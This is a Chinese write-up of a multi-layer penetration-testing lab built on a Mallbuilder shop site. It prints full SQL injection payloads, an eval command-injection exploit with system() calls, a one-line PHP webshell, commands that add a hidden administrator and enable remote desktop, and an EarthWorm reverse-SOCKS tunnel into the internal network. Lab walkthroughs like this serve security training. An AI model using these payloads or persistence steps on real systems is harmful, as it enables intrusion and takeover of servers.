时间有点久,这里主要和大家分享一下思路。
该靶场是多层网络下的综合渗透,只开放了一个web端可以访问,其他均处于内网。
首先进入靶场开放的唯一一个开放的web端。
进入网站首页,发现是Mallbuilder,并且该版本有注入漏洞,可以直接获取管理员密码。
payload:
/cate_show_ajax.php?oper=ajax&call=get_cate POST catid=12313213131313113) and EXP(~(SELECT*FROM(SElect user FROM mallbuilder_admin)a limit 0,1 ))#
md5解密后得知admin 密码为:mall123!@#
可以通过sql注入获取第一个flag
payload:
/cate_show_ajax.php?oper=ajax&call=get_cate
post提交:
catid=12313213131313113) and EXP(~(SELECT*FROM(SElect flag FROM flag)a))#
得到第一个flag
登录管理账号admin 密码为 mall123!@# ,进入后台
查看源代码,发现第二个flag
网上没有公开的后台 getshell 的漏洞,需要下载一份源码进行简单的审计
源码地址:https://github.com/source-trace/mallbuilder
在 admin\module_translations.php
存在命令执行
<?php include_once("../includes/global.php"); $script_tmp = explode('/', $_SERVER['SCRIPT_NAME']); $sctiptName = array_pop($script_tmp); include_once("auth.php"); if(empty($_POST)) { $refer_lang = $_GET['code'] =='en'?'cn':'en'; //基本参照语言 $l = $rl = array();echo "start"; @include_once($config['webroot'].'/module/'.$_GET['mod'].'/lang/'.$_GET['code'].'.php'); @eval('$l =$_LANG_MOD_'.strtoupper($_GET['mod']).';'); @include_once($config['webroot'].'/module/'.$_GET['mod'].'/lang/'.$refer_lang.'.php'); @eval('$rl =$_LANG_MOD_'.strtoupper($_GET['mod']).';'); $diff_lang = @array_diff_key($rl,$l); $l += $diff_lang; if($l=='') die($lang['translat_data_emp']); }else{ if($config['enable_tranl']==0) { die($lang['tranl_fordid']); } include_once("../includes/lang_class.php"); $tr_lang = new lang(); foreach($tr_lang->module_files() as $key=>$mod) { if(isset($_POST[strtolower($mod)])) { $tr_lang->save_module_files( $_POST[strtolower($mod)],$key,$_GET['code'] ); echo "<script>parent.window.succ_trans_tip('$key');</script>"; break; } } die(); } ?>
mod 参数被带入 eval
执行,但是中间经过了 strtoupper
函数,这个在后期写马的时候需要注意
/admin/module_translations.php?mod=;system('whoami')
/admin/module_translations.php?mod=;system('dir')
发现flag.php
直接 type
读取
payload:
/admin/module_translations.php?mod=;system('type flag.php')
得到第三个flag
由于有cookie不能直接连接,所以先写一个马出来,需要注意strtoupper
函数
经过测试,发现上传一句话木马只能用数字命名,如下例的1.php
/admin/module_translations.php?mod=;file_put_contents('1.php','<?php @eval($_POST[1]);?>')
使用菜刀连接(2333当时还是用的菜刀)
在C盘根目录下发现flag.txt,但是没有权限读取
打开Cknife的模拟终端,执行命令
net user simple 111Qqq... /add
添加一个叫做 simple的用户
net localgroup administrators simple /add
将 simple 添加到管理员组中
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
开启远程桌面
netstat -an
查看开放端口
发现3389端口开放成功,使用windows下自带的工具mstsc.exe进行远程桌面连接
使用创建的simple账户登录进入后找到在C盘根目录下的flag.txt 修改文件权限,即可读到第四个flag
在管理员桌面发现第五个flag
除了一个开发web端可以直接访问,其他都是内网环境,需要做端口转发,这里用EarthWorm配合proxifier进行端口转发和全局代理设置。目的是可以通过本机访问内网环境。
EarthWorm官网包含使用教程:https://rootkiter.com/EarthWorm/
在端口转发之前首先在本地开启接收转发,使用Earthworm
命令: ew_for_Win.exe -s rcsocks -l 1080 -e 8888
显示start listen port here即可
使用菜刀将端口转发工具:Earthworm 上传到网站目录下,进入模拟终端,使用工具进行端口转发。
在模拟终端执行命令:ew_for_Win.exe -s rssocks -d 10.10.80.27 -e 8888
使用proxifier配置服务器代理,配置代理规则即可实现本机访问内网ip
EarthWarm官网已停止更新并且停止下载,这里给大家分享:EarthWarm
另外内网穿透推荐使用nps,nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。支持tcp、udp、socks5、http等几乎所有流量转发,可用来访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析、内网socks5代理等等……,并带有功能强大的web管理端。
地址:https://github.com/ehang-io/nps